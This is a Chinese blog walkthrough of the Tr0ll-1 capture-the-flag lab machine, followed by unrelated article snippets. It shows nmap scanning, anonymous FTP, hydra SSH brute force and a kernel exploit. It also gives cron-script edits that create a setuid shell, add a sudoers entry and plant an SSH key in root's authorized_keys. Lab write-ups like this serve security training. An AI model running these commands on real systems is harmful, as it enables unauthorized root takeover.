程序员经验分享-hwhale

4-Tr0ll-1百个靶机渗透（精写-思路为主）

2023-05-16

文章目录

目录

文章目录

前言

一、信息收集

二、提权

1.提权方法1

2.提权方法2

3.提权方法3

4.提权方法4

5.root免密登录的方法

总结

前言

思路清晰：

1.信息收集，寻找内网靶机，得到可以利用的ftp、ssh和web站点的常规端口。

2.因为这个靶机不是很难，所以就提权，五种不同的提权方式。

一、信息收集

扫描靶机

nmap -p- 192.168.198.0/24

有80端口，访问下

其实我们都知道20和21端口都是ftp的端口

那么我们就用nmap扫一下看看是不是

ssh版本

ftp可以匿名登陆

 wireshark的包我们解析一下

先登录

 看下ftp里面有什么文件

下载下来

解析一下这个包

wireshark lol.pcap

 

 

我们得到一个文件名

secret_stuff.txt

注意观察追踪流的语句

这个包不知道有多少个流，我们一个一个看把

只有四个流

我们一个一个看

第二个流传输的是这个文件

第三个有一串密文，还不知道留着

他说我们快接近目标了

那我们看看第四个流

还是传这个文件

那只有研究下那个密文了

研究了半天发现不是密文，是个目录。。。。

我们访问下

 

 

这个文件不知道用什么东西打开

我们看看这个文件是什么进制编写的

枚举是32位的ELF 二进制文件

看下文件里面有没有隐藏信息

并没有什么可用的信息

 

strings roflmao

发现Find address 0x0856BF to proceed

hexeditor roflmao ---十六进制的也可以用这个发现！

网页访问

 

这个是password那肯定就是密码了，那前面那个大概率是账号

那就爆破试下

爆破了半天没结果

最后发现Pass.txt才是密码。。。

hydra -L user.txt -p Pass.txt 192.168.198.137 ssh

ssh进去

ssh overflow@192.168.198.137

二、提权

1.提权方法1

ssh登录获取bash shell


python -c 'import pty;pty.spawn("/bin/bash")'

内核版本

复制过来

开启网页下载

┌──(root㉿kali)-[~]

└─# cp /usr/share/exploitdb/exploits/linux/local/37292.c ./

┌──(root㉿kali)-[~]

└─# python -m http.server

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

回到靶机ssh，发现断开了，判断应该是设置了定时任务什么的，不太清楚，只能先提权看看了

重新ssh登录

gcc 37292.c -o muma1

./muma1

又断开了，好恶心。

这个常规方法会被cronb定时执行影响，所以我们要尝试更多可能

2.提权方法2

我们查看cronb日志

find / -name cronlog 2>/dev/null ---查看计划任务日志信息

每间隔2分钟执行一次任务

我倒要看看他执行的是什么文件

find / -name cleaner.py 2>/dev/null ---查看文件在哪儿

清除/tmp下的所有文件，并且推出程序

好家伙每两分钟清除/tmp下的所有文件，并且退出当前tty，

那么肯定比我权限都高，我们就用这个执行脚本获取shell

vim写入不了

我们只能用vi或nano写入

find / -perm -o+w -type f 2> /dev/null | grep /proc -v ---枚举所有可写入和执行权限的文件

find / -writable 2>/dev/null ---枚举所有可写入权限的文件

先注释掉这句

这样我们就不会掉了

我们慢慢写

这里要写入要给python远控的脚本

脚本不能直接展示，因为一些大家dddd，可以私信我们的要

此处省略远控代码注入

拿到shell了！

3.提权方法3

我们ssh上去

python -c 'import pty; pty.spawn("/bin/bash")'

创建root可执行程序，获得root权限

nano /lib/log/cleaner.py

#!/usr/bin/python
import os
import sys
try:
    os.system('cp /bin/sh /tmp/ou')
    os.system('chmod u+s /tmp/ou')
except:
    sys.exit()

断开后重新ssh上去看看

获得bash shell

4.提权方法4

或者编辑脚本以将用户溢出添加到sudoers文件中可以sudo su到root用户：

nano /lib/log/cleaner.py

#!/usr/bin/python
import os
import sys
try:
    os.system('echo "overflow ALL=(ALL) ALL" >> /etc/sudoers')
except:
    sys.exit()

sudo su - root 得到root权限

5.root免密登录的方法

在kali本地root的~/.ssh下写入key

cd ~/.ssh

cat id_rsa.pub

没有生成一个

ssh-keygen

空密码

把rsa的key内容写入进靶机的/root/.ssh/里面

cat id_rsa.pub

登入靶机

注意执行这个shell需要

python -c 'import pty; pty.spawn("/bin/bash")'

nano /lib/log/cleaner.py

#!/usr/bin/python import os import sys try: os.system(mkdir /root/.ssh; chmod 775 .ssh; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD6jUb2+l9/eqOPZ9fbqx5Q3GMjLeHkxPTzomODJA02yDOzxINVxTVfGey7oae+6CqTJZLobypXXD3sTm3oBUKxZxT7dfKZ09ds1F2GK6MdXXWqLI0FqpBCtbYxO9UNIOD9a26OreHHt5t6/wM4oxf95UqNQDJ1/xAlcXPkpOIUCzBKrRnt59TmJycVAGhyZnyBT6ybgacaQDUoS6ifUzRr5xXTCvDDnSQ0Vu0FepRXf1rB9L7f3gCz7HWEU3AkGVnOEoCwtddaHFPF3r6cO7KzWqwG0aDO4sxdbR0WfLqAoUrI6Vkob0IRkz0ZBkmA7K/Ew2s8E5xH53kRV2fPDa3x1S9/z+nPZDma1yYu4UjoWsIXz5+iYU0dYS8UcolEXFwH4f2zIbvQy1JnTc6NnJ/TDsdUMXmtye5VS36reczIvbbRCTz0k+ZiJAooh2Z53sS4BZQ4Sk3XMokwlDy61JFoDdqflXs3koi+bX05aT+Sc9Pdh2sbNK7WOTqQJyOmceU= root@kali" >> /root/.ssh/authorized_keys) except: sys.exit()

等他计划任务执行

断开了证明执行了

等ssh起来

总结

这里展示了五种提权方法，基本覆盖了常用的内网各种姿势，希望大家学有所成，请不要用于其他渠道。

特别注明：本文章只用于学习交流，不可用来从事违法犯罪活动，如使用者用来从事违法犯罪行为，一切与作者无关。

本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系:hwhale#tublm.com(使用前将#替换为@)

4-Tr0ll-1百个靶机渗透（精写-思路为主） 的相关文章

  • 重试机制 Retry

    文章目录 1 重试1 1 重试作用 2 重试的三种方法2 1 java retry2 2 spring retry2 3 guava retrying2 3 1 重试源2 3 2 自定义重试监听器 RetryListener2 3 3 停止

  • win10系统开机输入密码黑屏解决方法

    第一步 xff1a 首先打开笔记本电脑开机 xff0c 输入开机密码进入第二步 xff1a 输入密码后显示黑屏 xff0c 按 Ctrl 43 Alt 43 Del 34 组合键打开任务管理器第三步 xff1a 在打开的任务管理器中 xff

  • Windows下LaTex转为Word

    文章目录 1 latex gt pdf gt word1 1 以word打开1 2 使用adobe acrobat DC打开 2 latex typora gt word xff08 pandoc xff09 2 0 参数介绍2 1 安装p

  • SQL：用count求group by分组的个数

    1 求每一分组内的个数 查询选修了全部课程的学生姓名 思路 查询一个学生的姓名 xff0c 该学生选修课的门数等于所有课程的门数 逆推 xff1a 查询一个学生的姓名 xff0c 姓名怎么来 xff1f 通过Student的学号得到 xff

  • SQL：数据去重的三种方法

    1 使用distinct去重 distinct用来查询不重复记录的条数 xff0c 用count distinct id 来返回不重复字段的条数 用法注意 xff1a distinct 查询字段 xff0c 必须放在要查询字段的开头 xff

  • Word页面中四个直角

    文章目录 1 四个直角1 xff09 代表页边距2 xff09 页边距的设置3 xff09 打开或关闭 裁剪标记 2 裁剪标记 与图片1 xff09 插入图片超过这个角能打印显示出来吗 xff1f 3 裁剪标记 与表格 1 四个直角 1 x

  • windows搭建ftp及原理（小白向）

    提示 xff1a 文章写完后 xff0c 目录可以自动生成 xff0c 如何生成可参考右边的帮助文档 文章目录 环境一 实验步骤1 1安装ftp 二 ftp实验引发的思考1 简单阐述ftp的原理2 ftp建立的流程 总结 环境 windwo

  • Win10系统自动更新失败(错误代码0x800f0922)

    笔者最近遇到了Win10系统自动更新失败的问题 xff0c 错误代码0x800f0922 每次更新下载安装完 xff0c 重启电脑的时候就会提示 xff1a 我们无法完成更新 正在撤销更改 在设置 Windows更新中有 xff1a 202

  • Linux yum安装redis

    1 安装redis数据库 yum install redis 2 下载fedora的epel仓库 yum install epel release 3 启动redis服务 systemctl start redis 4 查看redis状态

  • Centos 开启X11 Forwarding，实现无桌面环境运行GUI软件

    文章目录 修改SSH配置文件sshd config安装 X11 Forwarding 相关软件重启 sshd 服务 xff0c 并重新SSH连接验证 我们新安装Centos时可能会选择最小安装 xff0c 不安装桌面环境 xff0c 但是后

  • Python pyttsx3｜文本朗读（各种语言）

    Python文字转语音 程序员 xff0c 在其他人眼中往往都是高冷的存在 xff0c 在他们的眼中能用代码解决的问题绝对不考虑其他的方法 xff0c 本文让我们用Python来提升一下高冷的档次 xff0c 让我们用代码来 说话 安装py

  • Spring Security 出现 'login.html?error' is not a valid redirect URL 异常

    原因是这个URL地址要以 打头 例如 xff1a 报错的代码 xff1a http span class token punctuation span span class token function formLogin span spa

  • 5. Python3的基本类型（元组）

    Python3的基本类型 xff08 元组 xff09 1 Python 的元组与列表相似 xff0c 不同之处 xff1a 元组不能修改 xff0c 元组使用小括号 xff0c 列表使用方括号 2 元组的创建 xff1a 只需要在括号中添

  • group by内部排序

    规则 xff1a 第一 xff0c 凡是在group by后面出现的字段 xff0c 必须同时在select后面出现 xff1b 第二 xff0c 凡是在select后面出现的 同时未在聚合函数中出现的字段 xff0c 必须同时出现在gro

  • 李宏毅机器学习（四）Spatial Transformer Layer

    学习内容 架构 xff1b 目的就是克服CNN的旋转和缩放不变性的缺点的 xff01 前情提要 CNN is not invariant to scaling and rotation xff1b CNN对缩放和旋转不是不变的 xff1b

  • python修改pip安装镜像源

    pip 默认的安装源安装真的很慢 xff0c 所以我们可以换成国内的一些优质的安装源 通用临时方法 pip install package name i https pypi tuna tsinghua edu cn simple 永久修改

  • 深入理解 Java 线程池的实现原理

    文章目录 1 线程状态2 线程池2 1 线程池的作用2 2 线程池的实现2 2 1 线程池内部状态 1 线程状态 既然要说线程 xff0c 我们就先来了解一下线程的几种状态 xff1a span class token keyword pu

  • windows server安装域控及原理（小白向）

    提示 xff1a 文章写完后 xff0c 目录可以自动生成 xff0c 如何生成可参考右边的帮助文档 文章目录 安装环境一 安装域控二 说明一下遗留的问题总结 这个是一系列的博客文章 xff0c 域控只是开始 安装环境 windwos任意s

  • 详述 Redis 选择单线程模型的原因以及 I/O 多路复用

    文章目录 Redis 选择单线程模型的原因概述设计单线程模型可维护性并发处理性能瓶颈 引入多线程删除操作 总结 Redis 和 IO 多路复用几种 I O 模型Blocking I OI O 多路复用 Reactor 设计模式I O 多路复

  • 新一代垃圾回收器 ZGC 的探索与实践

    文章目录 GC之痛CMS 与 G1 停顿时间瓶颈标记阶段停顿分析清理阶段停顿分析复制阶段停顿分析 ZGC原理全并发的 ZGCZGC 关键技术ZGC 并发处理演示 ZGC 调优实践调优基础知识理解 ZGC 重要配置参数理解 ZGC 触发时机理

随机推荐

  • 详述 Spring 中 Bean 的作用域、事务的隔离级别以及传播行为

    文章目录 Bean 作用域XML 声明singletonprototyperequestsessionglobalSession 注解声明 事务隔离级别事务传播行为 Bean 作用域 Spring IOC 容器创建一个 Bean 实例时 x

  • 饿了么交易系统 5 年演化史

    作者介绍 xff1a 杨凡 xff0c 花名挽晴 xff0c 饿了么高级架构师 xff0c 2014 年加入饿了么 xff0c 2018 年随饿了么被阿里巴巴收购一同加入阿里巴巴 xff0c 4 年团队管理经验 xff0c 4 年主要从事饿

  • 带你了解「美团、百度和滴滴」的分布式 ID 生成系统

    文章目录 美团背景常见方法介绍UUID类snowflake方案数据库生成 Leaf 方案实现Leaf segment 数据库方案双 buffer 优化Leaf 高可用容灾 Leaf snowflake 方案弱依赖 ZooKeeper解决时钟

  • Spring Cloud 优雅下线以及灰度发布

    文章目录 前言优雅下线常见的下线方式优雅的下线方式 灰度发布蓝绿部署滚动部署金丝雀部署 前言 在生产环境中 xff0c 如何保证在服务升级的时候 xff0c 不影响用户的体验 xff0c 这个是一个非常重要的问题 如果在我们升级服务的时候

  • 详述 IntelliJ IDEA 遇到 Maven 项目 pom.xml 文件没有识别的解决方法

    文章目录 问题现象解决方法 问题现象 有的时候 xff0c 我们可能会遇到 IDEA 没有识别 Maven 项目pom xml的问题 xff0c 其表现出来的现象就是 xff1a 究其原因 xff0c 就是 IDEA 把pom xml文件当

  • Spring Boot 自定义 Swagger2 请求 URL 路径的两种方法

    文章目录 前言方法一 xff1a 修改应用根路径方法二 xff1a 引入 Swagger2 前端代码总结 前言 首先 xff0c 把 Swagger2 的依赖引进来 xff1a span class token comment lt swa

  • 使用 Apollo 为静态变量赋值的方法

    Apollo xff08 阿波罗 xff09 是携程框架部门研发的分布式配置中心 xff0c 能够集中化管理应用不同环境 不同集群的配置 xff0c 配置修改后能够实时推送到应用端 xff0c 并且具备规范的权限 流程治理等特性 xff0c

  • 记一次 Gorm 批量插入遇到的问题以及解决方案

    文章目录 问题现象解决方案 问题现象 最初 xff0c 我们用的是老版本的 Gorm xff0c 但是因为老版本不支持批量插入的功能 xff0c 所以我们将 Gorm 做了升级 xff0c 升级到1 21 9版本 https github

  • 3-Raven2百个靶机渗透（精写-思路为主）

    特别注明 xff1a 本文章只用于学习交流 xff0c 不可用来从事违法犯罪活动 xff0c 如使用者用来从事违法犯罪行为 xff0c 一切与作者无关 文章目录 前言一 信息收集二 ssh爆破尝试三 根据框架exp和cve拿shell四 对

  • 在 MacOS 系统的 /home 目录下创建文件夹的方法

    文章目录 前言修改 auto master加载 auto master创建自定义文件夹 前言 Rt xff0c 本文讲述如何在 Mac OS 系统中 xff0c 在 home目录下创建文件夹的方法 之所以会有本篇文章 xff0c 是因为在默

  • 在 MacOS 系统下创建 /home 目录的方法

    文章目录 前言SIP关闭SIP打开SIP查看 SIP 当前状态 创建 home 目录 前言 在 在 MacOS 系统的 home 目录下创建文件夹的方法 这篇文章中 xff0c 我们描述了如何在 home目录下创建文件夹的方法 xff0c

  • 详述 Mac GoLand 安装后打不开（闪退）的解决方法

    文章目录 现象描述解决方法Method 1Method 2 现象描述 安装了当前最新版 xff08 2021 2 3 xff09 的 GoLand xff0c 之前的版本是2019 2 5 xff0c 但比较诡异的是 xff1a 安装成功后

  • 使用 Golang 实现简易的令牌桶算法

    文章目录 简介实现轮子 简介 在网络中传输数据的时候时 xff0c 为了防止网络拥塞 xff0c 需限制流出网络的流量 xff0c 使流量以比较均匀的速度向外发送 令牌桶算法就实现了这个功能 xff0c 可控制发送到网络上数据的数目 xff

  • 详述 Git 的 rebase 命令使用方法

    在基于 Git 的开发过程中 xff0c 我们很容易遇到合并代码的情况 xff0c 例如我们从 master 分支拉取了一个 feature 分支 xff0c 当我们开发到一段时间之后 xff0c 可能需要将 master 的代码合并到我们

  • 使用 gomonkey 遇到非 debug 模式执行失败的问题及解决方法

    文章目录 问题描述解决方法 问题描述 基于 Golang 语言 xff0c 写单元测试 xff0c 使用gomonkey对于某个函数进行 Mock xff0c 遇到如下问题 xff1a 使用 正常模式 执行单元测试 xff0c Patch不

  • 使用 gomonkey Mock 函数及方法

    文章目录 前言函数方法参考 前言 在 Golang 语言中 xff0c 写单元测试的时候 xff0c 不可避免的会涉及到对其他函数及方法的 Mock xff0c 即在假设其他函数及方法响应预期结果的同时 xff0c 校验被测函数的响应是否符

  • 使用 gomonkey Mock 函数及方法时遇到 panic: permission denied 的问题及解决方法

    文章目录 问题描述解决方法 问题描述 基于 Golang 语言 xff0c 使用 gomonkey 来 mock 函数及方法 xff0c 在 Mac 环境执行的时候 xff0c 遇到如下错误 xff1a span class token b

  • 详述 TCP 的 TIME_WAIT 状态要维持 2MSL 的原因

    文章目录 前言正文 前言 本文主要分析为什么 TIME WAIT 状态的持续时间是 2MSL 而不是 1MSL xff0c 3MSL 或其它的时长 xff0c 而不会详细描述为什么需要 TIME WAIT 状态 阅读本文需要的预备知识 xf

  • Golang调用Python

    阅读原文请点击 摘要 xff1a Python是时髦的机器学习御用开发语言 xff0c Golang是大红大紫的新时代后端开发语言 Python很适合让搞算法的写写模型 xff0c 而Golang很适合提供API服务 xff0c 两位同志都

  • 4-Tr0ll-1百个靶机渗透（精写-思路为主）

    文章目录 目录 文章目录 前言 一 信息收集 二 提权 1 提权方法1 2 提权方法2 3 提权方法3 4 提权方法4 5 root免密登录的方法 总结 前言 思路清晰 xff1a 1 信息收集 xff0c 寻找内网靶机 xff0c 得到可

热门标签